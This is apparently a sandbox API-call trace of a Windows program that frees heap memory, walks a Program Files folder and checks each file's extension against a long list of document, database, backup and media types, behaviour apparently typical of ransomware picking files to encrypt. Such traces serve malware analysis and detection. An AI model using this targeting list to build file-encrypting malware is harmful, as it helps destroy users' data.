HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40f0f80 | out: hHeap=0x420000) returned 1 [0180.427] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0180.427] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fb08d0 | out: hHeap=0x420000) returned 1 [0180.427] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4171fb0 | out: hHeap=0x420000) returned 1 [0180.432] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fb08d0 | out: hHeap=0x420000) returned 1 [0180.434] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0180.434] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0180.434] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0180.434] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0180.435] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0180.435] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fb08d0 | out: hHeap=0x420000) returned 1 [0180.435] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4171fb0 | out: hHeap=0x420000) returned 1 [0180.435] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4171fb0 | out: hHeap=0x420000) returned 1 [0180.436] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0180.436] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fb08d0 | out: hHeap=0x420000) returned 1 [0180.439] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fb08d0 | out: hHeap=0x420000) returned 1 [0180.439] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x408ef20 | out: hHeap=0x420000) returned 1 [0180.439] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024838 | out: hHeap=0x420000) returned 1 [0180.441] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4074858 | out: hHeap=0x420000) returned 1 [0180.441] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fd0988 | out: hHeap=0x420000) returned 1 [0180.442] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x408ef20 | out: hHeap=0x420000) returned 1 [0180.443] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4074858 | out: hHeap=0x420000) returned 1 [0180.617] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fd0948 | out: hHeap=0x420000) returned 1 [0180.621] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fd0948 | out: hHeap=0x420000) returned 1 [0180.622] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fd0948 | out: hHeap=0x420000) returned 1 [0180.622] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x408ef20 | out: hHeap=0x420000) returned 1 [0180.624] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fd0948 | out: hHeap=0x420000) returned 1 [0180.624] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x408ef20 | out: hHeap=0x420000) returned 1 [0180.628] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x408ef20 | out: hHeap=0x420000) returned 1 [0180.629] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x408ef20 | out: hHeap=0x420000) returned 1 [0180.631] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fd0948 | out: hHeap=0x420000) returned 1 [0180.631] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x408ef20 | out: hHeap=0x420000) returned 1 [0180.634] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x408ef20 | out: hHeap=0x420000) returned 1 [0180.634] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4074858 | out: hHeap=0x420000) returned 1 [0180.638] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40f0f80 | out: hHeap=0x420000) returned 1 [0180.639] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40f0f80 | out: hHeap=0x420000) returned 1 [0180.639] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fd0948 | out: hHeap=0x420000) returned 1 [0180.639] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x408ef20 | out: hHeap=0x420000) returned 1 [0180.642] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4074858 | out: hHeap=0x420000) returned 1 [0180.650] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4100f88 | out: hHeap=0x420000) returned 1 [0180.651] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40f0f80 | out: hHeap=0x420000) returned 1 [0180.656] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4100f88 | out: hHeap=0x420000) returned 1 [0180.659] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40f0f80 | out: hHeap=0x420000) returned 1 [0180.659] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fd0948 | out: hHeap=0x420000) returned 1 [0180.659] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x408ef20 | out: hHeap=0x420000) returned 1 [0180.811] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4074858 | out: hHeap=0x420000) returned 1 [0181.013] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x408ef20 | out: hHeap=0x420000) returned 1 [0181.013] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4074858 | out: hHeap=0x420000) returned 1 [0181.062] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4074858 | out: hHeap=0x420000) returned 1 [0181.085] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40f0f80 | out: hHeap=0x420000) returned 1 [0181.089] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40f0f80 | out: hHeap=0x420000) returned 1 [0181.094] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40f0f80 | out: hHeap=0x420000) returned 1 [0181.099] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40f0f80 | out: hHeap=0x420000) returned 1 [0181.104] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40f0f80 | out: hHeap=0x420000) returned 1 [0181.108] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40f0f80 | out: hHeap=0x420000) returned 1 [0181.108] lstrlenW (lpString="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\de-AT") returned 100 [0181.108] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\de-AT") returned 1 [0181.108] lstrlenW (lpString="de-AT") returned 5 [0181.108] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="de-AT") returned -1 [0181.108] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x40f0f80 [0181.108] lstrlenW (lpString="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\de-AT") returned 100 [0181.108] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\de-AT\\*", lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e3703fd, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa79714a3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e396633, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x484ed8 [0181.115] FindNextFileW (in: hFindFile=0x484ed8, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e3703fd, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa79714a3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e396633, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0181.115] FindNextFileW (in: hFindFile=0x484ed8, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e396633, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e396633, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x32e4c500, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x9c9b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0181.115] lstrlenW (lpString="index.html") returned 10 [0181.115] lstrlenW (lpString=".1cd") returned 4 [0181.115] lstrcmpiW (lpString1=".1cd", lpString2="html") returned -1 [0181.151] lstrlenW (lpString=".3ds") returned 4 [0181.151] lstrcmpiW (lpString1=".3ds", lpString2="html") returned -1 [0181.151] lstrlenW (lpString=".3fr") returned 4 [0181.151] lstrcmpiW (lpString1=".3fr", lpString2="html") returned -1 [0181.151] lstrlenW (lpString=".3g2") returned 4 [0181.151] lstrcmpiW (lpString1=".3g2", lpString2="html") returned -1 [0181.151] lstrlenW (lpString=".3gp") returned 4 [0181.151] lstrcmpiW (lpString1=".3gp", lpString2="html") returned -1 [0181.151] lstrlenW (lpString=".7z") returned 3 [0181.151] lstrcmpiW (lpString1=".7z", lpString2="tml") returned -1 [0181.151] lstrlenW (lpString=".accda") returned 6 [0181.151] lstrcmpiW (lpString1=".accda", lpString2="x.html") returned -1 [0181.151] lstrlenW (lpString=".accdb") returned 6 [0181.151] lstrcmpiW (lpString1=".accdb", lpString2="x.html") returned -1 [0181.151] lstrlenW (lpString=".accdc") returned 6 [0181.151] lstrcmpiW (lpString1=".accdc", lpString2="x.html") returned -1 [0181.151] lstrlenW (lpString=".accde") returned 6 [0181.151] lstrcmpiW (lpString1=".accde", lpString2="x.html") returned -1 [0181.151] lstrlenW (lpString=".accdt") returned 6 [0181.151] lstrcmpiW (lpString1=".accdt", lpString2="x.html") returned -1 [0181.151] lstrlenW (lpString=".accdw") returned 6 [0181.151] lstrcmpiW (lpString1=".accdw", lpString2="x.html") returned -1 [0181.151] lstrlenW (lpString=".adb") returned 4 [0181.151] lstrcmpiW (lpString1=".adb", lpString2="html") returned -1 [0181.151] lstrlenW (lpString=".adp") returned 4 [0181.151] lstrcmpiW (lpString1=".adp", lpString2="html") returned -1 [0181.151] lstrlenW (lpString=".ai") returned 3 [0181.151] lstrcmpiW (lpString1=".ai", lpString2="tml") returned -1 [0181.152] lstrlenW (lpString=".ai3") returned 4 [0181.152] lstrcmpiW (lpString1=".ai3", lpString2="html") returned -1 [0181.152] lstrlenW (lpString=".ai4") returned 4 [0181.152] lstrcmpiW (lpString1=".ai4", lpString2="html") returned -1 [0181.152] lstrlenW (lpString=".ai5") returned 4 [0181.152] lstrcmpiW (lpString1=".ai5", lpString2="html") returned -1 [0181.152] lstrlenW (lpString=".ai6") returned 4 [0181.152] lstrcmpiW (lpString1=".ai6", lpString2="html") returned -1 [0181.152] lstrlenW (lpString=".ai7") returned 4 [0181.152] lstrcmpiW (lpString1=".ai7", lpString2="html") returned -1 [0181.152] lstrlenW (lpString=".ai8") returned 4 [0181.152] lstrcmpiW (lpString1=".ai8", lpString2="html") returned -1 [0181.152] lstrlenW (lpString=".anim") returned 5 [0181.152] lstrcmpiW (lpString1=".anim", lpString2=".html") returned -1 [0181.152] lstrlenW (lpString=".arw") returned 4 [0181.152] lstrcmpiW (lpString1=".arw", lpString2="html") returned -1 [0181.152] lstrlenW (lpString=".as") returned 3 [0181.152] lstrcmpiW (lpString1=".as", lpString2="tml") returned -1 [0181.152] lstrlenW (lpString=".asa") returned 4 [0181.152] lstrcmpiW (lpString1=".asa", lpString2="html") returned -1 [0181.152] lstrlenW (lpString=".asc") returned 4 [0181.152] lstrcmpiW (lpString1=".asc", lpString2="html") returned -1 [0181.152] lstrlenW (lpString=".ascx") returned 5 [0181.152] lstrcmpiW (lpString1=".ascx", lpString2=".html") returned -1 [0181.152] lstrlenW (lpString=".asm") returned 4 [0181.152] lstrcmpiW (lpString1=".asm", lpString2="html") returned -1 [0181.152] lstrlenW (lpString=".asmx") returned 5 [0181.152] lstrcmpiW (lpString1=".asmx", lpString2=".html") returned -1 [0181.152] lstrlenW (lpString=".asp") returned 4 [0181.152] lstrcmpiW (lpString1=".asp", lpString2="html") returned -1 [0181.152] lstrlenW (lpString=".aspx") returned 5 [0181.152] lstrcmpiW (lpString1=".aspx", lpString2=".html") returned -1 [0181.152] lstrlenW (lpString=".asr") returned 4 [0181.153] lstrcmpiW (lpString1=".asr", lpString2="html") returned -1 [0181.153] lstrlenW (lpString=".asx") returned 4 [0181.153] lstrcmpiW (lpString1=".asx", lpString2="html") returned -1 [0181.153] lstrlenW (lpString=".avi") returned 4 [0181.153] lstrcmpiW (lpString1=".avi", lpString2="html") returned -1 [0181.153] lstrlenW (lpString=".avs") returned 4 [0181.153] lstrcmpiW (lpString1=".avs", lpString2="html") returned -1 [0181.153] lstrlenW (lpString=".backup") returned 7 [0181.153] lstrcmpiW (lpString1=".backup", lpString2="ex.html") returned -1 [0181.153] lstrlenW (lpString=".bak") returned 4 [0181.153] lstrcmpiW (lpString1=".bak", lpString2="html") returned -1 [0181.153] lstrlenW (lpString=".bay") returned 4 [0181.153] lstrcmpiW (lpString1=".bay", lpString2="html") returned -1 [0181.153] lstrlenW (lpString=".bd") returned 3 [0181.153] lstrcmpiW (lpString1=".bd", lpString2="tml") returned -1 [0181.153] lstrlenW (lpString=".bin") returned 4 [0181.153] lstrcmpiW (lpString1=".bin", lpString2="html") returned -1 [0181.153] lstrlenW (lpString=".bmp") returned 4 [0181.153] lstrcmpiW (lpString1=".bmp", lpString2="html") returned -1 [0181.153] lstrlenW (lpString=".bz2") returned 4 [0181.153] lstrcmpiW (lpString1=".bz2", lpString2="html") returned -1 [0181.153] lstrlenW (lpString=".c") returned 2 [0181.153] lstrcmpiW (lpString1=".c", lpString2="ml") returned -1 [0181.153] lstrlenW (lpString=".cdr") returned 4 [0181.153] lstrcmpiW (lpString1=".cdr", lpString2="html") returned -1 [0181.153] lstrlenW (lpString=".cer") returned 4 [0181.153] lstrcmpiW (lpString1=".cer", lpString2="html") returned -1 [0181.153] lstrlenW (lpString=".cf") returned 3 [0181.153] lstrcmpiW (lpString1=".cf", lpString2="tml") returned -1 [0181.153] lstrlenW (lpString=".cfc") returned 4 [0181.153] lstrcmpiW (lpString1=".cfc", lpString2="html") returned -1 [0181.153] lstrlenW (lpString=".cfm") returned 4 [0181.153] lstrcmpiW (lpString1=".cfm", lpString2="html") returned -1 [0181.154] lstrlenW (lpString=".cfml") returned 5 [0181.154] lstrcmpiW (lpString1=".cfml", lpString2=".html") returned -1 [0181.154] lstrlenW (lpString=".cfu") returned 4 [0181.154] lstrcmpiW (lpString1=".cfu", lpString2="html") returned -1 [0181.154] lstrlenW (lpString=".chm") returned 4 [0181.154] lstrcmpiW (lpString1=".chm", lpString2="html") returned -1 [0181.154] lstrlenW (lpString=".cin") returned 4 [0181.154] lstrcmpiW (lpString1=".cin", lpString2="html") returned -1 [0181.154] lstrlenW (lpString=".class") returned 6 [0181.154] lstrcmpiW (lpString1=".class", lpString2="x.html") returned -1 [0181.155] lstrlenW (lpString=".clx") returned 4 [0181.155] lstrcmpiW (lpString1=".clx", lpString2="html") returned -1 [0181.155] lstrlenW (lpString=".config") returned 7 [0181.155] lstrcmpiW (lpString1=".config", lpString2="ex.html") returned -1 [0181.155] lstrlenW (lpString=".cpp") returned 4 [0181.155] lstrcmpiW (lpString1=".cpp", lpString2="html") returned -1 [0181.155] lstrlenW (lpString=".cr2") returned 4 [0181.155] lstrcmpiW (lpString1=".cr2", lpString2="html") returned -1 [0181.155] lstrlenW (lpString=".crt") returned 4 [0181.155] lstrcmpiW (lpString1=".crt", lpString2="html") returned -1 [0181.155] lstrlenW (lpString=".crw") returned 4 [0181.155] lstrcmpiW (lpString1=".crw", lpString2="html") returned -1 [0181.155] lstrlenW (lpString=".cs") returned 3 [0181.155] lstrcmpiW (lpString1=".cs", lpString2="tml") returned -1 [0181.155] lstrlenW (lpString=".css") returned 4 [0181.155] lstrcmpiW (lpString1=".css", lpString2="html") returned -1 [0181.155] lstrlenW (lpString=".csv") returned 4 [0181.155] lstrcmpiW (lpString1=".csv", lpString2="html") returned -1 [0181.155] lstrlenW (lpString=".cub") returned 4 [0181.155] lstrcmpiW (lpString1=".cub", lpString2="html") returned -1 [0181.155] lstrlenW (lpString=".dae") returned 4 [0181.155] lstrcmpiW (lpString1=".dae", lpString2="html") returned -1 [0181.155] lstrlenW (lpString=".dat") returned 4 [0181.155] lstrcmpiW (lpString1=".dat", lpString2="html") returned -1 [0181.155] lstrlenW (lpString=".db") returned 3 [0181.155] lstrcmpiW (lpString1=".db", lpString2="tml") returned -1 [0181.155] lstrlenW (lpString=".dbf") returned 4 [0181.155] lstrcmpiW (lpString1=".dbf", lpString2="html") returned -1 [0181.155] lstrlenW (lpString=".dbx") returned 4 [0181.156] lstrcmpiW (lpString1=".dbx", lpString2="html") returned -1 [0181.156] lstrlenW (lpString=".dc3") returned 4 [0181.156] lstrcmpiW (lpString1=".dc3", lpString2="html") returned -1 [0181.156] lstrlenW (lpString=".dcm") returned 4 [0181.156] lstrcmpiW (lpString1=".dcm", lpString2="html") returned -1 [0181.156] lstrlenW (lpString=".dcr") returned 4 [0181.156] lstrcmpiW (lpString1=".dcr", lpString2="html") returned -1 [0181.156] lstrlenW (lpString=".der") returned 4 [0181.156] lstrcmpiW (lpString1=".der", lpString2="html") returned -1 [0181.156] lstrlenW (lpString=".dib") returned 4 [0181.156] lstrcmpiW (lpString1=".dib", lpString2="html") returned -1 [0181.156] lstrlenW (lpString=".dic") returned 4 [0181.156] lstrcmpiW (lpString1=".dic", lpString2="html") returned -1 [0181.156] lstrlenW (lpString=".dif") returned 4 [0181.156] lstrcmpiW (lpString1=".dif", lpString2="html") returned -1 [0181.156] lstrlenW (lpString=".divx") returned 5 [0181.156] lstrcmpiW (lpString1=".divx", lpString2=".html") returned -1 [0181.156] lstrlenW (lpString=".djvu") returned 5 [0181.156] lstrcmpiW (lpString1=".djvu", lpString2=".html") returned -1 [0181.156] lstrlenW (lpString=".dng") returned 4 [0181.156] lstrcmpiW (lpString1=".dng", lpString2="html") returned -1 [0181.156] lstrlenW (lpString=".doc") returned 4 [0181.156] lstrcmpiW (lpString1=".doc", lpString2="html") returned -1 [0181.156] lstrlenW (lpString=".docm") returned 5 [0181.156] lstrcmpiW (lpString1=".docm", lpString2=".html") returned -1 [0181.156] lstrlenW (lpString=".docx") returned 5 [0181.156] lstrcmpiW (lpString1=".docx", lpString2=".html") returned -1 [0181.156] lstrlenW (lpString=".dot") returned 4 [0181.157] lstrcmpiW (lpString1=".dot", lpString2="html") returned -1 [0181.157] lstrlenW (lpString=".dotm") returned 5 [0181.157] lstrcmpiW (lpString1=".dotm", lpString2=".html") returned -1 [0181.157] lstrlenW (lpString=".dotx") returned 5 [0181.157] lstrcmpiW (lpString1=".dotx", lpString2=".html") returned -1 [0181.157] lstrlenW (lpString=".dpx") returned 4 [0181.157] lstrcmpiW (lpString1=".dpx", lpString2="html") returned -1 [0181.157] lstrlenW (lpString=".dqy") returned 4 [0181.157] lstrcmpiW (lpString1=".dqy", lpString2="html") returned -1 [0181.157] lstrlenW (lpString=".dsn") returned 4 [0181.157] lstrcmpiW (lpString1=".dsn", lpString2="html") returned -1 [0181.157] lstrlenW (lpString=".dt") returned 3 [0181.157] lstrcmpiW (lpString1=".dt", lpString2="tml") returned -1 [0181.157] lstrlenW (lpString=".dtd") returned 4 [0181.157] lstrcmpiW (lpString1=".dtd", lpString2="html") returned -1 [0181.157] lstrlenW (lpString=".dwg") returned 4 [0181.157] lstrcmpiW (lpString1=".dwg", lpString2="html") returned -1 [0181.157] lstrlenW (lpString=".dwt") returned 4 [0181.157] lstrcmpiW (lpString1=".dwt", lpString2="html") returned -1 [0181.157] lstrlenW (lpString=".dx") returned 3 [0181.157] lstrcmpiW (lpString1=".dx", lpString2="tml") returned -1 [0181.157] lstrlenW (lpString=".dxf") returned 4 [0181.157] lstrcmpiW (lpString1=".dxf", lpString2="html") returned -1 [0181.157] lstrlenW (lpString=".edml") returned 5 [0181.157] lstrcmpiW (lpString1=".edml", lpString2=".html") returned -1 [0181.157] lstrlenW (lpString=".efd") returned 4 [0181.157] lstrcmpiW (lpString1=".efd", lpString2="html") returned -1 [0181.157] lstrlenW (lpString=".elf") returned 4 [0181.157] lstrcmpiW (lpString1=".elf", lpString2="html") returned -1 [0181.157] lstrlenW (lpString=".emf") returned 4 [0181.158] lstrcmpiW (lpString1=".emf", lpString2="html") returned -1 [0181.158] lstrlenW (lpString=".emz") returned 4 [0181.158] lstrcmpiW (lpString1=".emz", lpString2="html") returned -1 [0181.158] lstrlenW (lpString=".epf") returned 4 [0181.158] lstrcmpiW (lpString1=".epf", lpString2="html") returned -1 [0181.158] lstrlenW (lpString=".eps") returned 4 [0181.158] lstrcmpiW (lpString1=".eps", lpString2="html") returned -1 [0181.158] lstrlenW (lpString=".epsf") returned 5 [0181.158] lstrcmpiW (lpString1=".epsf", lpString2=".html") returned -1 [0181.158] lstrlenW (lpString=".epsp") returned 5 [0181.158] lstrcmpiW (lpString1=".epsp", lpString2=".html") returned -1 [0181.158] lstrlenW (lpString=".erf") returned 4 [0181.158] lstrcmpiW (lpString1=".erf", lpString2="html") returned -1 [0181.158] lstrlenW (lpString=".exr") returned 4 [0181.158] lstrcmpiW (lpString1=".exr", lpString2="html") returned -1 [0181.158] lstrlenW (lpString=".f4v") returned 4 [0181.158] lstrcmpiW (lpString1=".f4v", lpString2="html") returned -1 [0181.158] lstrlenW (lpString=".fido") returned 5 [0181.158] lstrcmpiW (lpString1=".fido", lpString2=".html") returned -1 [0181.158] lstrlenW (lpString=".flm") returned 4 [0181.158] lstrcmpiW (lpString1=".flm", lpString2="html") returned -1 [0181.158] lstrlenW (lpString=".flv") returned 4 [0181.158] lstrcmpiW (lpString1=".flv", lpString2="html") returned -1 [0181.158] lstrlenW (lpString=".frm") returned 4 [0181.158] lstrcmpiW (lpString1=".frm", lpString2="html") returned -1 [0181.158] lstrlenW (lpString=".fxg") returned 4 [0181.158] lstrcmpiW (lpString1=".fxg", lpString2="html") returned -1 [0181.158] lstrlenW (lpString=".geo") returned 4 [0181.158] lstrcmpiW (lpString1=".geo", lpString2="html") returned -1 [0181.159] lstrlenW (lpString=".gif") returned 4 [0181.159] lstrcmpiW (lpString1=".gif", lpString2="html") returned -1 [0181.159] lstrlenW (lpString=".grs") returned 4 [0181.159] lstrcmpiW (lpString1=".grs", lpString2="html") returned -1 [0181.159] lstrlenW (lpString=".gz") returned 3 [0181.159] lstrcmpiW (lpString1=".gz", lpString2="tml") returned -1 [0181.159] lstrlenW (lpString=".h") returned 2 [0181.159] lstrcmpiW (lpString1=".h", lpString2="ml") returned -1 [0181.159] lstrlenW (lpString=".hdr") returned 4 [0181.159] lstrcmpiW (lpString1=".hdr", lpString2="html") returned -1 [0181.159] lstrlenW (lpString=".hpp") returned 4 [0181.159] lstrcmpiW (lpString1=".hpp", lpString2="html") returned -1 [0181.159] lstrlenW (lpString=".hta") returned 4 [0181.159] lstrcmpiW (lpString1=".hta", lpString2="html") returned -1 [0181.159] lstrlenW (lpString=".htc") returned 4 [0181.159] lstrcmpiW (lpString1=".htc", lpString2="html") returned -1 [0181.159] lstrlenW (lpString=".htm") returned 4 [0181.159] lstrcmpiW (lpString1=".htm", lpString2="html") returned -1 [0181.159] lstrlenW (lpString=".html") returned 5 [0181.159] lstrcmpiW (lpString1=".html", lpString2=".html") returned 0 [0181.159] FindNextFileW (in: hFindFile=0x484ed8, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e396633, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e396633, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3b8f4c00, ftLastWriteTime.dwHighDateTime=0x1d29f07, nFileSizeHigh=0x0, nFileSizeLow=0x245, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0181.159] lstrlenW (lpString="toastbeginupgrade.xml") returned 21 [0181.159] lstrlenW (lpString=".1cd") returned 4 [0181.159] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0181.159] lstrlenW (lpString=".3ds") returned 4 [0181.159] lstrcmpiW (lpString1=".3ds", lpString2=".xml") returned -1 [0181.159] lstrlenW (lpString=".3fr") returned 4 [0181.159] lstrcmpiW (lpString1=".3fr", lpString2=".xml") returned -1 [0181.159] lstrlenW (lpString=".3g2") returned 4 [0181.159] lstrcmpiW (lpString1=".3g2", lpString2=".xml") returned -1 [0181.159] lstrlenW (lpString=".3gp") returned 4 [0181.160] lstrcmpiW (lpString1=".3gp", lpString2=".xml") returned -1 [0181.160] lstrlenW (lpString=".7z") returned 3 [0181.160] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0181.160] lstrlenW (lpString=".accda") returned 6 [0181.160] lstrcmpiW (lpString1=".accda", lpString2="de.xml") returned -1 [0181.160] lstrlenW (lpString=".accdb") returned 6 [0181.160] lstrcmpiW (lpString1=".accdb", lpString2="de.xml") returned -1 [0181.160] lstrlenW (lpString=".accdc") returned 6 [0181.160] lstrcmpiW (lpString1=".accdc", lpString2="de.xml") returned -1 [0181.160] lstrlenW (lpString=".accde") returned 6 [0181.160] lstrcmpiW (lpString1=".accde", lpString2="de.xml") returned -1 [0181.160] lstrlenW (lpString=".accdt") returned 6 [0181.160] lstrcmpiW (lpString1=".accdt", lpString2="de.xml") returned -1 [0181.160] lstrlenW (lpString=".accdw") returned 6 [0181.160] lstrcmpiW (lpString1=".accdw", lpString2="de.xml") returned -1 [0181.160] lstrlenW (lpString=".adb") returned 4 [0181.160] lstrcmpiW (lpString1=".adb", lpString2=".xml") returned -1 [0181.160] lstrlenW (lpString=".adp") returned 4 [0181.160] lstrcmpiW (lpString1=".adp", lpString2=".xml") returned -1 [0181.160] lstrlenW (lpString=".ai") returned 3 [0181.160] lstrcmpiW (lpString1=".ai", lpString2="xml") returned -1 [0181.160] lstrlenW (lpString=".ai3") returned 4 [0181.160] lstrcmpiW (lpString1=".ai3", lpString2=".xml") returned -1 [0181.160] lstrlenW (lpString=".ai4") returned 4 [0181.160] lstrcmpiW (lpString1=".ai4", lpString2=".xml") returned -1 [0181.160] lstrlenW (lpString=".ai5") returned 4 [0181.160] lstrcmpiW (lpString1=".ai5", lpString2=".xml") returned -1 [0181.160] lstrlenW (lpString=".ai6") returned 4 [0181.160] lstrcmpiW (lpString1=".ai6", lpString2=".xml") returned -1 [0181.161] lstrlenW (lpString=".ai7") returned 4 [0181.161] lstrcmpiW (lpString1=".ai7", lpString2=".xml") returned -1 [0181.161] lstrlenW (lpString=".ai8") returned 4 [0181.161] lstrcmpiW (lpString1=".ai8", lpString2=".xml") returned -1 [0181.161] lstrlenW (lpString=".anim") returned 5 [0181.161] lstrcmpiW (lpString1=".anim", lpString2="e.xml") returned -1 [0181.161] lstrlenW (lpString=".arw") returned 4 [0181.161] lstrcmpiW (lpString1=".arw", lpString2=".xml") returned -1 [0181.161] lstrlenW (lpString=".as") returned 3 [0181.161] lstrcmpiW (lpString1=".as", lpString2="xml") returned -1 [0181.161] lstrlenW (lpString=".asa") returned 4 [0181.161] lstrcmpiW (lpString1=".asa", lpString2=".xml") returned -1 [0181.161] lstrlenW (lpString=".asc") returned 4 [0181.161] lstrcmpiW (lpString1=".asc", lpString2=".xml") returned -1 [0181.161] lstrlenW (lpString=".ascx") returned 5 [0181.161] lstrcmpiW (lpString1=".ascx", lpString2="e.xml") returned -1 [0181.161] lstrlenW (lpString=".asm") returned 4 [0181.161] lstrcmpiW (lpString1=".asm", lpString2=".xml") returned -1 [0181.161] lstrlenW (lpString=".asmx") returned 5 [0181.161] lstrcmpiW (lpString1=".asmx", lpString2="e.xml") returned -1 [0181.161] lstrlenW (lpString=".asp") returned 4 [0181.161] lstrcmpiW (lpString1=".asp", lpString2=".xml") returned -1 [0181.161] lstrlenW (lpString=".aspx") returned 5 [0181.161] lstrcmpiW (lpString1=".aspx", lpString2="e.xml") returned -1 